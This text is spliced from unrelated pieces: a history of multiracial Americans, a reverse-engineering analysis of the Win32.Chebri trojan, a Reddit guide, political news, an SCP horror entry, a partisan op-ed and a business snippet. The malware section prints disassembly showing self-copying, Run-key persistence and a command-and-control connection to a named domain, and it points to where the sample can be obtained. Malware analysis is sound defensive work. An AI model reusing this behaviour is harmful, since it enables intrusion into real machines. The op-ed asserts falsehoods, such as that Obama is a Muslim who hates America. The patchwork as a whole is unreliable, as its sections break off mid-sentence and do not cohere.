Interracial relationships have had a long history in North America and the United States, beginning with the intermixing of European explorers and soldiers, who took native women as companions. After European settlement increased, traders and fur trappers often married or had unions with women of native tribes. In the 17th century, faced with a continuing, critical labor shortage, colonists primarily in the Chesapeake Bay Colony, imported Africans as laborers, sometimes as indentured servants and, increasingly, as slaves. African slaves were also imported into New York and other northern ports by the Dutch and later English. Some African slaves were freed by their masters during these early years.
In the colonial years, while conditions were more fluid, white women, indentured servant or free, and African men, servant, slave or free, made unions. Because the women were free, their mixed-race children were born free; they and their descendants formed most of the families of free people of color during the colonial period in Virginia. The scholar Paul Heinegg found that eighty percent of the free people of color in North Carolina in censuses from 1790–1810 could be traced to families free in Virginia in colonial years.[8]
In 1789 Olaudah Equiano, a former slave from Nigeria who was enslaved in North America, published his autobiography. He advocated interracial marriage between whites and blacks.[9] By the late eighteenth century, visitors to the Upper South noted the high proportion of mixed-race slaves, evidence of miscegenation by white men.
In 1790, the first federal population census was taken in the United States. Enumerators were instructed to classify free residents as white or "other." Only the heads of households were identified by name in the federal census until 1850. Native Americans were included among "Other;" in later censuses, they were included as "Free people of color" if they were not living on Indian reservations. Slaves were counted separately from free persons in all the censuses until the Civil War and end of slavery. In later censuses, people of African descent were classified by appearance as mulatto (which recognized visible European ancestry in addition to African) or black.
After the American Revolutionary War, the number and proportion of free people of color increased markedly in the North and the South as slaves were freed. Most northern states abolished slavery, sometimes, like New York, in programs of gradual emancipation that took more than two decades to be completed. The last slaves in New York were not freed until 1827. In connection with the Second Great Awakening, Quaker and Methodist preachers in the South urged slaveholders to free their slaves. Revolutionary ideals led many men to free their slaves, some by deed and others by will, so that from 1782 to 1810, the percentage of free people of color rose from less than one percent to nearly 10 percent of blacks in the South.[10]
19th century: American Civil War, emancipation, Reconstruction and Jim Crow [ edit ]
Charley Taylor holding an American flag. Charley was the son of Alexander Withers and one of Withers's slaves. Withers sold Charley to a slave dealer and he was sold again in New Orleans.
Of numerous relationships between male slaveholders, overseers, or master's sons and women slaves, the most notable is likely that of President Thomas Jefferson with his slave Sally Hemings. As noted in the 2012 collaborative Smithsonian-Monticello exhibit, Slavery at Monticello: The Paradox of Liberty, Jefferson, then a widower, took Hemings as his concubine for nearly 40 years. They had six children of record; four Hemings children survived into adulthood, and he freed them all, among the very few slaves he freed. Two were allowed to "escape" to the North in 1822, and two were granted freedom by his will upon his death in 1826. Seven-eighths white by ancestry, all four of his Hemings children moved to northern states as adults; three of the four entered the white community, and all their descendants identified as white. Of the descendants of Madison Hemings who continued to identify as black, some in future generations eventually identified as white and "married out," while others continued to identify as African American. It was socially advantageous for the Hemings children to identify as white, in keeping with their appearance and the majority proportion of their ancestry. Although born into slavery, the Hemings children were legally white under Virginia law of the time.
20th century [ edit ]
Racial discrimination continued to be enacted in new laws in the 20th century, for instance the one-drop rule was enacted in Virginia's 1924 Racial Integrity Law and in other southern states, in part influenced by the popularity of eugenics and ideas of racial purity. People buried fading memories that many whites had multiracial ancestry. Many families were multiracial. Similar laws had been proposed but not passed in the late nineteenth century in South Carolina and Virginia, for instance. After regaining political power in Southern states by disenfranchising blacks, white Democrats passed laws to impose Jim Crow and racial segregation to restore white supremacy. They maintained these until forced to change in the 1960s and after by enforcement of federal legislation authorizing oversight of practices to protect the constitutional rights of African Americans and other minority citizens.
In 1967 the United States Supreme Court case, Loving v. Virginia ruled that anti-miscegenation laws were unconstitutional.[11]
In the twentieth century up until 1989, social service organizations typically assigned multiracial children to the racial identity of the minority parent, which reflected social practices of hypodescent.[12] Black social workers had influenced court decisions on regulations related to identity; they argued that, as the biracial child was socially considered black, it should be classified that way in order to identify with the group and learn to deal with discrimination.[13]
By 1990, the Census Bureau included more than a dozen ethnic/racial categories on the census, reflecting not only changing social ideas about ethnicity, but the wide variety of immigrants who had come to reside in the United States due to changing historical forces and new immigration laws in the 1960s. With a changing society, more citizens have begun to press for acknowledging multiracial ancestry. The Census Bureau changed its data collection by allowing people to self-identify as more than one ethnicity. Some ethnic groups are concerned about the potential political and economic effects, as federal assistance to historically underserved groups has depended on Census data. According to the Census Bureau, as of 2002, over 75% of all African Americans had multiracial ancestries.[14]
The proportion of acknowledged multiracial children in the United States is growing. Interracial partnerships are on the rise, as are transracial adoptions. In 1990, around 14% of 18- to 19-year-olds, 12% of 20- to 21-year-olds, and 7% of 34- to 35-year-olds were involved in interracial relationships (Joyner and Kao, 2005).[15]
Demographics [ edit ]
Multiracial people who wanted to acknowledge their full heritage won a victory of sorts in 1997, when the Office of Management and Budget (OMB) changed the federal regulation of racial categories to permit multiple responses. This resulted in a change to the 2000 United States Census, which allowed participants to select more than one of the six available categories, which were, in brief: "White," "Black or African-American," "Asian," "American Indian or Alaskan Native," "Native Hawaiian or other Pacific Islander" and "Other." Further details are given in the article: Race and ethnicity in the United States Census. The OMB made its directive mandatory for all government forms by 2003.
In 2000, Cindy Rodriguez reported on reactions to the new census:
To many mainline civil rights groups, the new census is part of a multiracial nightmare. After decades of framing racial issues in stark black and white terms, they fear that the multiracial movement will break down longstanding alliances, weakening people of color by splintering them into new subgroups.[16]
Some multiracial individuals feel marginalized by U.S. society. For example, when applying to schools or for a job or when taking standardized tests, Americans are sometimes asked to check boxes corresponding to race or ethnicity. Typically, about five race choices are given, with the instruction to "check only one." While some surveys offer an "other" box, this choice groups together individuals of many different multiracial types (ex: European Americans/African-Americans are grouped with Asian/Native American Indians).
The 2000 U.S. Census in the write-in response category had a code listing which standardizes the placement of various write-in responses for automatic placement within the framework of the U.S. Census's enumerated races. Whereas most responses can be distinguished as falling into one of the five enumerated races, there remains some write-in responses which fall into the "Mixture" heading which cannot be racially categorized. These include "Bi Racial, Combination, Everything, Many, Mixed, Multi National, Multiple, Several and Various".[17]
In 1997, Greg Mayeda, a member of the Board of Directors person for the Hapa Issues Forum, attended a meeting regarding the new racial classifications for the 2000 U.S. Census. He was arguing against a multiracial category and for multiracial people being counted as all of their races. He argued that a
separate Multiracial Box does not allow a person who identifies as mixed race the opportunity to be counted accurately. After all, we are not just mixed race. We are representatives of all racial groups and should be counted as such. A stand alone Multiracial Box reveals very little about the person's background checking it.[18]
According to James P. Allen and Eugene Turner from California State University, Northridge, who analyzed the 2000 Census, most multiracial people identified as part white. In addition, the breakdown is as follows:
white/Native American and Alaskan Native, at 7,015,017,
white/black at 737,492,
white/Asian at 727,197, and
white/Native Hawaiian and Other Pacific Islander at 125,628.[19]
In 2010, 1.6 million Americans checked both "black" and "white" on their census forms, a figure 134% higher than the number a decade earlier.[20] The number of interracial marriages and relationships, and transracial and international adoptions has increased the proportion of multiracial families.[21] In addition, more individuals may be identifying multiple ancestries, as the concept is more widely accepted.
Multiracial American identity [ edit ]
Political History [ edit ]
Despite a long and perverse history of miscegenation within the U.S. political territory and American continental landscape, advocacy for a unique social race classification to recognize direct, or recent, multiracial parentage did not begin until the 1970s. After the Civil Rights Era and rapid integration of African-Americans into predominately European-American institutions and residential communities, it became more socially acceptable for White race identified women to date, marry and procreate children fathered by non-White men. This trend evolved a political push that offspring of interracial unions fully inherit the social race classifications of both parents, regardless of the racial classification of the maternal parent. This advocacy countered what had been practiced in the United States since the 1500s where a newborn's racial classification defaulted to that of their mother which was determined by the One Drop Rule as well as misogyny-driven white supremacist hegemony. Practiced during chattel slavery the rule delegated the racial classification of offspring produced by White male slave masters and African or Negro female slaves through coercion or rape.
Contemporary Interracial Marriage [ edit ]
In 2009, Keith Bardwell, a justice of the peace in Robert, Louisiana, refused to officiate a wedding for an interracial couple and was summarily sued in federal court. See refusal of interracial marriage in Louisiana.
About 15% of all new marriages in the United States in 2010 were between spouses of a different race or ethnicity from one another, more than double the share in 1980 (6.7%).[22]
Multiracial Families and Identity Issues [ edit ]
Given the variety of the familial and general social environments in which multiracial children are raised, along with the diversity of their appearance and heritage, generalizations about multiracial children's challenges or opportunities are not very useful. A 1989 article written by Charlotte Nitary revealed that parents of mixed raced children often struggled between teaching their children to identify as only the race of their non-white parent, not identifying with social race, at all, or identifying with the racial identities of both parents.[13]
The social identity of children and of their parents in the same multiracial family may vary or be the same.[23] Some multiracial children feel pressure from various sources to "choose" or to identify as a single racial identity. Others may feel pressure not to abandon one or more of their ethnicities, particularly if identified with culturally.
Some children grow up without race being a significant issue in their lives because they identify against the one-drop-rule construct. [24] This approach to addressing plural racial heritage is something U.S. society has slowly become socialized into as the general consensus among monoracially identified individuals is plural racial identity is a choice and presents disingenuous motives against the more oppressed inherited racial identity.[12] By the 1990s, as more multiracial identified students attended colleges and university, many were met with alienation from culturally and racially homogenous groups on campus. This common national trend saw the launch of many multi-racial campus organizations across the country. By the 2000s, these efforts for self-identification soon reached beyond educational institutions and into mainstream society.[25]
In her book Love's Revolution: Interracial Marriage, Maria P. P. Root suggests that when interracial parents divorce, their mixed-race children become threatening in circumstances where the custodial parent has remarried into a union where an emphasis is placed on racial identity.[26]
Some multiracial individuals attempt to claim a new category. For instance, the athlete Tiger Woods has said that he is not only African-American but "Cablinasian," as he is of Caucasian, African-American, Native American and Asian descent.[27]
Native American identity [ edit ]
In the 2010 Census, nearly 3 million people indicated that their race was Native American (including Alaska Native).[39] Of these, more than |
IED" condition: $a }
Finally let’s run this rule against our memory dump by using yarascan plugin:
$ python vol.py yarascan -y win32chebri.yar -f aquart Volatile Systems Volatility Framework 2.3_beta Rule: win32_chebri Owner: Process regsrv34.exe Pid 420 0x004040ec 44 41 4e 43 48 4f 44 41 4e 43 48 45 56 5f 45 4e DANCHODANCHEV_EN 0x004040fc 44 5f 42 52 49 41 4e 4b 52 45 42 53 5f 47 4f 54 D_BRIANKREBS_GOT 0x0040410c 5f 46 41 52 52 49 45 44 00 00 00 00 72 00 65 00 _FARRIED....r.e. 0x0040411c 67 00 73 00 72 00 76 00 33 00 34 00 2e 00 65 00 g.s.r.v.3.4...e.
Note about the rule: Win32.Chabri.C is available in a number of variants, the mutex name could change (thanks to Mila from Contagiodump for the information), so take this rule as a didactic one, if you want a fully working rule you should sign some of the Unicode strings like “r.e.g.s.r.v.”.
Quick Reverse Engineering of Win32.Chebri
In this paragraph we are going to take advantage from the executable carved from the memory dump. The R.E. analysis that we will perform is not intended to go extremely in depth because we face a pretty simple malware and the scope of this paper is to show now how to gain more knowledge on how Win32.Chebri works.
Let’s start with some general inspection of the PE geometry:
Original Filename: 487309907.gif
MD5: 8FB5D22F0E9D0AB7D6C73C6A58F6DE99
SHA1: A0E4A4197C565433492FDE40AE3B53415F160B09
File Header Timedatestamp: Tue May 22 22:52:34 2012
The executable as not a Resource Directory and Import Table is coherent.
According to entropy plot produced by Profiler and shown below:
Approximately low entropy plot denotes the absence of “heavy” packed / encrypted portions of code. We can start now to reverse the code starting from the EntryPoint:
.text:00402310 push ebp.text:00402311 mov ebp, esp.text:00402313 sub esp, 20Ch.text:00402319 push offset Name ; "DANCHODANCHEV_END_BRIANKREBS_GOT_FARRIE"....text:0040231E push 1 ; bInitialOwner.text:00402320 push 0 ; lpMutexAttributes.text:00402322 call ds:CreateMutexA.text:00402328 mov [ebp+hObject], eax.text:0040232E call ds:GetLastError.text:00402334 cmp eax, ERROR_ALREADY_EXISTS.text:00402339 jnz short Infect.text:0040233B push 1194h ; dwMilliseconds.text:00402340 mov eax, [ebp+hObject].text:00402346 push eax ; hHandle.text:00402347 call ds:WaitForSingleObject.text:0040234D cmp eax, WAIT_TIMEOUT.text:00402352 jnz short Infect.text:00402354 xor eax, eax.text:00402356 jmp End
As first operation Chebri creates a mutex “DANCHODANCHEV_END_BRIANKREBS_GOT_FARRIED” to check if there are other instances of the malware running successively it’s called WaitForSingleObject, if the mutex exists or WaitForSingleObject exits with WAIT_TIMEOUT error execution flow reaches the end, else jumps to “Infection” location. Let’s now see what happens if things goes well (mutex is correctly created for example):
.text:0040235B Infect: ; CODE XREF: start+29j.text:0040235B ; start+42j.text:0040235B push 104h ; nSize.text:00402360 lea ecx, [ebp+Filename].text:00402366 push ecx ; lpFilename.text:00402367 push 0 ; hModule.text:00402369 call ds:GetModuleFileNameW.text:0040236F push offset String ; "regsrv34.exe".text:00402374 lea edx, [ebp+Filename].text:0040237A push edx ; int.text:0040237B call sub_401D80.text:00402380 add esp, 8.text:00402383 test eax, eax.text:00402385 jnz short make_resident_and_connect.text:00402387 call sub_402010.text:0040238C test eax, eax.text:0040238E jz short make_resident_and_connect ; if does not match criteria, release mutex and exit,.text:0040238E ; else jump to the second stage.text:00402390 mov eax, [ebp+hObject].text:00402396 push eax ; hMutex.text:00402397 call ds:ReleaseMutex.text:0040239D mov ecx, [ebp+hObject].text:004023A3 push ecx ; hObject.text:004023A4 call ds:CloseHandle.text:004023AA push 1 ; uExitCode.text:004023AC call ds:ExitProcess
GetModuleFileNameW with hModule parameter NULL is used to retrieve the path of the executable file of the current running process, this path is placed into lpFilename that as you can see it’s successively used as parameter of call sub_401D80 together with the String parameter which is “regsrv34.exe”. call sub_401D80 will check if the current executable is called “regsrv34.exe”, in this case execution will jump to “make_resident_and_connect” location otherwise execution will reach call sub_402010. Let’s see what happens in this call:
.text:00402037 push 0 ; fCreate.text:00402039 push 1Ah ; csidl.text:0040203B lea eax, [ebp+NewFileName].text:00402041 push eax ; pszPath.text:00402042 push 0 ; hwnd.text:00402044 call ds:SHGetSpecialFolderPathW.text:0040204A test eax, eax.text:0040204C jz loc_402120.text:00402052 push offset String2 ; "\\regsrv34.exe".text:00402057 lea ecx, [ebp+NewFileName].text:0040205D push ecx ; lpString1.text:0040205E call ds:lstrcatW.text:00402064 push 104h ; nSize.text:00402069 lea edx, [ebp+ExistingFileName].text:0040206F push edx ; lpFilename.text:00402070 push 0 ; hModule.text:00402072 call ds:GetModuleFileNameW....text:00402097.text:00402097 loc_402097: ; CODE XREF: sub_402010+CFj.text:00402097 push 0 ; bFailIfExists.text:00402099 lea edx, [ebp+NewFileName].text:0040209F push edx ; lpNewFileName.text:004020A0 lea eax, [ebp+ExistingFileName].text:004020A6 push eax ; lpExistingFileName.text:004020A7 call ds:CopyFileW...text:00402109 push 0 ; lpParameters.text:0040210B lea eax, [ebp+NewFileName].text:00402111 push eax ; lpFile.text:00402112 call create_child_process.text:00402117 add esp, 8.text:0040211A mov [ebp+var_20C], eax.text:00402120.text:00402120 loc_402120: ; CODE XREF: sub_402010+3Cj.text:00402120 mov eax, [ebp+var_20C].text:00402126.text:00402126 loc_402126: ; CODE XREF: sub_402010+F7j.text:00402126 mov esp, ebp.text:00402128 pop ebp.text:00402129 retn.text:00402129 sub_402010 endp
Code here should be pretty clear, via SHGetSpecialFolderPathW Win32.Chebri retrieves the path to Documents and Settings\user\Application data and successively concatenates the executable name “regsrv34.exe”. Next step involves in getting again the path of the current running executable as parameter for CopyFileW, in this way binary malware will be copied into “regsrv34.exe”. As final step we have call create_child_process, the freshly copied executable will be launched via CreateProcessW.
Going back to “infection” routine, at this point if something went wrong with call sub_402010 execution the mutex will be released and process closed, else the execution flow will reach make_resident_and_connect location.
.text:004023B2 make_resident_and_connect:.text:004023B2.text:004023B2 call make_resident ; add an entry into CurrentVersion\Run to survive on reboot.text:004023B7 push 4E21h ; __int16.text:004023BC push offset aAquartmale_org ; "aquartmale.org".text:004023C1 call start_network_thread
call make_resident will create a registry entry into “Software\Microsoft\Windows\CurrentVersion\Run” as we previously seen in the volatility paragraph. The final call start_network_thread constitutes the core malware functionality. Inside this call a new thread located at address is spawned. The parameter passed to call start_network_thread corresponds to the domain used by the malware to keep in touch ( 205.209.161.10 as observed via volatility connscan plugin ). Follows the corresponding code of the new thread started:
.text:00401DD4 thread_start:.text:00401DD4 mov eax, dword_404144.text:00401DD9 cmp dword ptr [eax+1050h], 0.text:00401DE0 jz short loc_401E08 ;jump to the end of thread.text:00401DE2 call ds:GetTickCount.text:00401DE8 mov [ebp+var_4], eax.text:00401DEB mov ecx, [ebp+var_4].text:00401DEE push ecx.text:00401DEF mov edx, dword_404144.text:00401DF5 push edx.text:00401DF6 call reach_server ;contact the malicious domain.text:00401DFB add esp, 8.text:00401DFE push 5 ; dwMilliseconds.text:00401E00 call ds:Sleep.text:00401E06 jmp short thread_start ;run again
call reach_server is the responsible of communications with the server, as you can see here we have a loop as could be easly seen by the jump thread_start, the only exit solution is given by the condition determined by the value of dword_40144. This address is one of the two parameters of call reach_server, in other words according to what is received from the malicious server flow execution will run again thread_start or divert.
In short, Win32.Chebri establishes a TCP connection toward a certain IP and sends an heartbeat to the server within a certain temporal frequency. This kind of malware waits for commands sent by the attacker, like for example download and execute arbitrary files (other malware), upload data stolen from the infected machine etc.
Sample is available, password as usual is: infected
Some reference:
Trojan:Win32/Chebri.B
Trojan:Win32/Chebri.C
EvilcryUNLESS YOU’VE BEEN living under a virtual rock while on your internet travels, you’ll be at least vaguely familiar with Reddit.
And if you’re not, you will be soon.
Strap yourself in, kids, we’re going on a Reddit beginner’s crash course.
1. The bare bone basic facts
Reddit is a social news and entertainment site, and calls itself “the front page of the internet”. One look around will give you an inkling why. For one thing, they boast traffic of over 90 million people per month and often acts as the springboard for viral content around t’internet.
Reddit is literally a life-saver for some bearded internet users Source: The Wire
2. First things first
Interestingly, Reddit doesn’t create any original content, per se – users (called “redditors” funnily enough) submit text, images, video, which is then up- or down-voted by their peers across lots of small topic-specific forums (called “subreddits”).
If your post makes it big in your subreddit, it’ll get onto Reddit’s front page, where it’ll be seen by millions. That’s when the magic happens.
Anyone can browse Reddit, of course, but you have to create a user account to post and vote on other people’s post.
Don't be this cat. Join in Source: Imgur
3. Why you need to know
Why should you, dearest reader, care about Reddit? Well, for lots of reasons ACTUALLY.
For a start, Reddit has a role in the news we consume. On the day of the Boston marathon bombings in 2013, users speculated on members of the crowd in photographs, identifying some and wrongly accusing them of perpetrating the act. Though the crowdsourcing mistakenly implicated innocent people, the witch-hunt’s escalation and impact are testament to Reddit’s influence and power.
Reddit also does plenty of good. It has the largest Secret Santa programme in the world and users regularly organise mass donatations for direct relief after natural disasters. But perhaps most endearingly of all was the story of the pizza party Reddit organised for a children’s hospital in Los Angeles.
Source: Facebook/Hope for Hazel
A picture from the fourth floor of the hospital got up-voted on Reddit, showing the window of the room of cancer patient, two-year-old Hazel. Pizzas soon began flooding in – over 20 pizzas were eventually delivered.
Source: Imgur
As well as both hard news and the warm fuzzies, Reddit also routinely sets the viral agenda. It acts as an incubator of sorts for memes – including the widely-loved Doge.
Original Doge Source: Wikimedia Commons
4. Navigating subreddits
There are thousands of subreddits out there, but there are also big hitter, default subreddits that you need to know about. Think of these as the mainstream, all-star subreddits. They’re broken down into educational, discussion, humour, entertainment and meta. Examples include:
/r/ireland - For all things Irish.
/r/todayilearned - Used to be called “TIL”. Based off the old saying that we learn something new every day, this subreddit is a place to post interesting and specific facts that you just found out. Always unearths a gem.
/r/IAmA – Ask Me Anything. Celebrities, people of note and people with unusual life experiences here accept questions from Reddit at large. Check out the timetable on the right of the subreddit to see who’s coming up soon.
/r/AskReddit – Exactly what it says on the tin – users ask Reddit as a community for advice, nazel-gazing, philosophical questions or for their best anecdotes.
Other good ones to hit up are the ever-popular /r/pics, /r/aww and /r/funny.
Top subreddits usage Source: philipsinger.info
Click here to see a consistently updated list of top subreddits by subscribers, recent activity and growth in the last 24 hours.
5. Speaking the lingo
This is the killer. An important part of the Reddit community is the lingo – the abbreviations, the running jokes, the little quirks that are almost too numerous to list. Some originate on boards like 4chan, and many have leaked out into the internet mainstream.
Source: lachroniquefaciledumercredi.wordpress.com
Lurking for a while will give you an indication of how communication goes down, but in the mean-time, here’s a brief glossary:
TL;DR – Too long; didn’t read. If you have a really wordy post, usually you’ll sum it up at the bottom for those too lazy to scan it. It’s also used as an expression of mild contempt for someone who has left an over-long post. The Wikipedia page is a good, ironic example of tl;dr in action.
IIRC – If I recall correctly. Occasionally indicates that someone might be spoofing.
FTFY – Fixed that for you. Mostly used for humorous “did you mean this?” Freudian-style jokes.
OP – Original poster.
ITT - In this thread.
6. Going underground
“I knew all of this before!” I hear some of you mewling. “You can’t teach me anything! I AM JUST SO SMART!”
Well, newsflash, there’s always something new to learn about Reddit. It’s is a place of infinite wonders – you name it, there’s a subreddit for it. Got a niche interest? There’s a place for it. Here’s our top picks of the more unusual subreddits you need to check out.
/r/robscuremedia - Little-seen old TV, films and media from bygone eras. Click to filter by decade to find everything from silent films to forgotten exploitation movies.
/r/perfectLoops - Seamless GIFs that blend together into a perfect loop of motion. Hypnotic and addictive. They never end! Here’s a quick example.
Source: Imgur
/r/menonunstableladders – A great example of just how niche subreddits can get – this one is dedicated solely to men on unstable ladders.
Source: Imgur
A few more: /r/examplesofgood for warm fuzzies, /r/skyporn for photos of the sky, /r/contagiouslaughter for videos and audio of people laughing infectiously, /r/fiftyfifty if you’re into coin tosses… And, of course, there’s /r/HotelCalifornia – for this:
Oh, Reddit.
Are you a redditor? Give us your own tips and tricks in the comments below.“We trusted you because you said you were going to do something about this. And this is not it. Not even close,” she added as she prepared to set out for the offices of North Carolina lawmakers with other activists from her state.
The displeasure is forcing an uncomfortable reckoning in the Republican Party much earlier and in a much more disruptive way than many think is constructive. And it has many conservatives asking why — now that they control both houses of Congress and the White House and have remained largely united so far — they are picking a fight with each other.
The criticism from the right has grown so harsh that President Trump asked leaders of several conservative groups in an Oval Office meeting on Wednesday to tone it down. He was especially troubled, one participant said, by the comparisons of the plan to “Obamacare lite,” which he said was inaccurate and harmful to their shared cause of gutting the current law.
One senior White House official described the meeting as “tough.” Referring to the president, the official said: “He listened. They vented.”
After the meeting, the White House appeared more confident about the prospects in the House for the health care overhaul. In a meeting with conservative leaders in the Oval Office on Wednesday, Mr. Trump said he anticipated the most trouble in the Senate, where Republican moderates and conservatives are opposing the plan for different reasons. He said he was prepared to pressure holdout senators by having the kind of stadium-style rallies he had during his presidential campaign.SCP-1598
Item #: SCP-1598
Object Class: Euclid
Special Containment Procedures: SCP-1598 is to be contained in Cell-14 at Research Site-45. The cell is to be lined with high density rubber with a thickness of 30cm. The floor is to be grated as to facilitate the disposal of waste from SCP-1598. The cell is to have an automatic antiseptic wash feature capable of cleaning the surrounding walls, grating, and SCP-1598 itself every 8 hours. Only D-class personnel are permitted to enter the cell.
SCP-1598 is to undergo regular bi-weekly X-ray scans. Necrotic appendages will need to be amputated as needed. Cancerous tumors will also require extraction whenever identified. Samples of SCP-1598's visceral fluids will need to be taken once a week and remitted to the assigned Level-2 staff member. SCP-1598 is to be force fed a nutrient-rich slurry every 6 hours. SCP-1598's gastric feeding tube will need to be inserted directly into the stomach through the abdominal area. Repositioning of the feeding tube will be required whenever a new stomach appears.
SCP-1598 requires 24-hour surveillance. Behaviors including aggressive provocation, coprophagy, deliberate self-harm, or any suspicious behavior are to be deterred using electric shock weaponry. Any habits involving SCP-1598 spreading its fecal matter against the cell's interior walls are to be reported to Level-2 staff before being washed clean.
Conventional lethal weaponry is not allowed in Cell-14. In the event of a breach, SCP-1598 is to be approached and suppressed using incapacitance foam dispensers and long-range electric shock weapons only.
Description: SCP-1598 is an organism measuring 4.5m in length, 3.9m in height when standing, and weighing approximately 5.2t. SCP-1598 displays physical and genetic characteristics of Lymantriids, Apinids, Culicids, Tabanids, Forficulidids, Gryllids, and Hominids in various stages of maturity. Apart from limbs, SCP-1598's surface is covered with irregular layers of chitinous plates, skin, urticating bristles, male/female genitalia, barbs, teeth, antennae/cerci, coarse hair, prehensile tongues, and occasionally underdeveloped wings. SCP-1598 appears to possess both an incomplete exoskeleton and endoskeleton, though both seem to function well when used in conjunction. SCP-1598 has no discernible head, but is seen to possess a multitude of eyes and oral/anal cavities of variable size across its body.
SCP-1598 consistently generates various appendages and internal organs at a rapid rate. This rapid and uncontrolled growth is also balanced by a form of circulatory apoptosis, as extremities/internal organs may only last for a few weeks before succumbing to avascular necrosis. These growths appear to have no symmetrical pattern and appear intermittently. Ingrown appendages have also been observed as well as vice versa for internal organs.
SCP-1598 has been observed to be extremely aggressive to staff equipped with weapons. SCP-1598 has also exhibited this aggressiveness to automated suppression systems. During altercations, SCP-1598 has shown an absolute refusal to submit to any attempt at conventional suppression to the point of threatening its own life. Tranquilizers, psychoactive medication, and amnestic drugs appear to have no effect on SCP-1598. To date, SCP-1598 has breached containment 3 times. When in an agitated state, SCP-1598 will use its defensive attributes as well as its excessive strength and size in order to combat personnel. Over time, SCP-1598 has grown increasingly docile since living in captivity and has been observed to remain stationary for days when left undisturbed.
[LEVEL-2 ACCESS ONLY] [ACCESS GRANTED] Additional Measures: All messages created by SCP-1598 are to be recorded as they are reported. All attempts made by SCP-1598 to communicate with specific personnel are to be investigated as to uncover any former relations. Personnel exposed to these behaviors of SCP-1598 will need to be debriefed immediately after. The use of amnestic drugs on Foundation personnel assigned to SCP-1598 are to be at the discretion of Level-2 staff. Personnel assigned to SCP-1598 should be selectively screened by hire dates prior to Oct. 30, 2009. Under no circumstance are personnel from Lab-6 (or who have previously worked in Lab-6) permitted to be assigned to SCP-1598. All samples from SCP-1598 are to be sent for external testing to the Foundation's head genetics department. Standard protocols for transporting anomalous biologic materials are to be followed. Suicidal tendencies or requests exhibited by SCP-1598 are to be recorded and examined by an appropriately qualified onsite psychologist. Notes:
The following are selected samples of writings created by SCP-1598 in chronological order. LETMEOUT
[indecipherable] -ISLYING
ITSNOTMYFAULT
THEBURDENISTOOMUCH
MYLIFEOVER
OHGOD
KILLMEKILLMEKILLMEKILLME
JUSTDOITALREADYWhen Obama first emerged on the scene America inherited a Muslim who hates America and white people as well as our military and constitution which he called an outdated document and proceeded to shred it..He said it wasn’t right that Americas was No.1 in the world and that we should be more like Europe. Well in over the 8 years of Obama we’ve had our credit rating lowered twice, our national debt sore to 19 trillion from the 9 trillion he inherited from Bush which he called unpatriotic, reduced our military to pre-WW11 levels while other countries like North Korea are building up against us, seen the rise of ISIS plus numerous other damages bringing America down.
Enter Donald Trump, an American billionaire from New York who loves the military, loves America and loves our constitution. Trump saw the damage Obama was doing to America and our feckless congress just sitting there letting him get away with it and decided to do something about it and bring her back to her greatness again. For his efforts he was met with a legion of Americans all wanting to make America great again and met with scorn from the leftist media, liberals and Republican establishment. Republicans accused him of donating to Hillary Clinton, Chuck Schumer and other democrats. He also donated to Republicans as a businessman you have to do that to get what you want accomplished. One hand washes the other.
Sure he was brash and outspoken which I like. People criticized him for it, but I think we need someone like that to wake us up and bring us back to our senses after years of being coddled and softened by the likes of the left, Obama and political correctness. Trump is not afraid of these other countries. He’s met with world leaders in negotiating his buildings and properties around the world. When you push him, he pushes back. Right now we are letting all these other countries take advantage of us and walk all over us like some doormat thanks to the likes of Obama and the Clintons and in some cases Bush too.
(Article Continues Below Advertisement)
The media slams Trump to no end and demonstrators shout force fed slogans they can’t counter in a rational argument. Recently David Webb, a Fox News reporter interviewed some protestors outside a Trump rally. It went like this:
Webb: “Why don’t you like Donald Trump?”
Protestor: “He’s a racist.”
Webb; “Why is he a racist?”
(Article Continues Below Advertisement)
Protestor: “because he wants to build a wall.”
Webb to female protestor; “Why do you hate Donald Trump?”
Protestor; “Because he hates women.”
Webb:” How do you know he hates women?”
Protestor; “He just does,” and on it went like that. They are mind numb robots as Rush Limbaugh would say.
First of all if Trump hated women he wouldn’t have married three of the most beautiful women in the world. If he hated women he wouldn’t have more women executives in high office than men and he wouldn’t pay them more than his men executives which he does. Unlike Hillary and Obama who pay their male staff members more than their female staff members in the same positions. Trump also hired a female architect to build Trump Towers.
Trump is also a very generous and sympathetic person with his fortune. Besides giving to numerous charities he also has helped people in need. Once when his limousine broke down, an elderly couple driving by stopped to help. They went ahead and got a service station truck to tow the limo. Trump thanked them by paying off their mortgage.
Another time a young boy in Calif. with a disease where he needed to be hooked up to machines had to get to New York for a treatment. No airline could take him because they couldn’t fit the machines on their plane. The boy’s mother wrote to Trump and he sent his personal jet out for the boy and paid for all expenses.
More recently a former Miss Wisconsin from Donald’s Miss America pageant was given a year to live because of a mistake doctor’s made. She has a new born son. When Trump was campaigning in Wisconsin she met him and told him what had happened and Trump immediately set up a fund for the boy to be taken care of until he was 18.
Trump always has been a big supporter of our military. Despite the left accusing Donald Trump of using veterans as pawns in his campaign, the 2016 presidential hopeful hasn’t felt the need to respond to the remarks. However, it’s most recently been revealed what Trump did to NYC veterans in the 90’s – and now the secret’s out.
Most recently, Trump has been at the receiving end of strong criticism saying he hasn’t done enough to help veterans. Even Paul Rieckhoff, the founder of Iraq and Afghanistan Veterans of America, said that they wouldn’t be accepting donations from Trump because veterans “need strong policies from candidates, not to be used for political stunts.”
However, it seems that just by delving into the billionaire’s past, his true feelings about veterans becomes astoundingly clear. Take the 50th anniversary New York Veterans’ Day parade that took place in 1995 for example and you can see how Trump really feels about our veterans.
According to reports, the 2016 presidential frontrunner became involved in the entire ordeal after learning that the parade had just $2 in their bank account and were at risk of not having the parade at all. Trump immediately put forward $200,000 of his own money and raised another $300,000 to fund the event.
Parade director Tom Fox told the paper at the time that Trump effectively “saved the parade.” It was also the largest military parade ever held in the city with over 500,000 people being in attendance. For his part in all of it, Trump states that the donated money was:
“…the single most important thing I’ve ever done. This is more important than all of my buildings and my casinos. This is my way of saying thank you to all the men and women in the armed services who have made it possible for me to become a success. Without them freedom and liberty would be gone.”
Add this to his most recent fundraiser responsible for raking in a whopping $6 million, and you can clearly see his stance on our veterans. With weak attacks from liberals who aren’t supported by the facts, Trump is going to have an easy time winning this election – especially if Hillary keeps getting caught in her ridiculous lies. http://madworldnews.com/trump-nyc-veterans-90s/
So go ahead all you Trump critics. Keep criticizing this brilliant and generous man who loves America and our constitution and let Hillary get in and continue ruining the country. And to you Republican establishment folks, do you really think Paul Ryan is going to save the day or don’t you care?Mumbai: Thanks to a steep fall in global crude oil prices, India may report its first current account surplus in over seven years at 1.5 per cent of GDP in the ongoing quarter, leading brokerage Nomura said today.
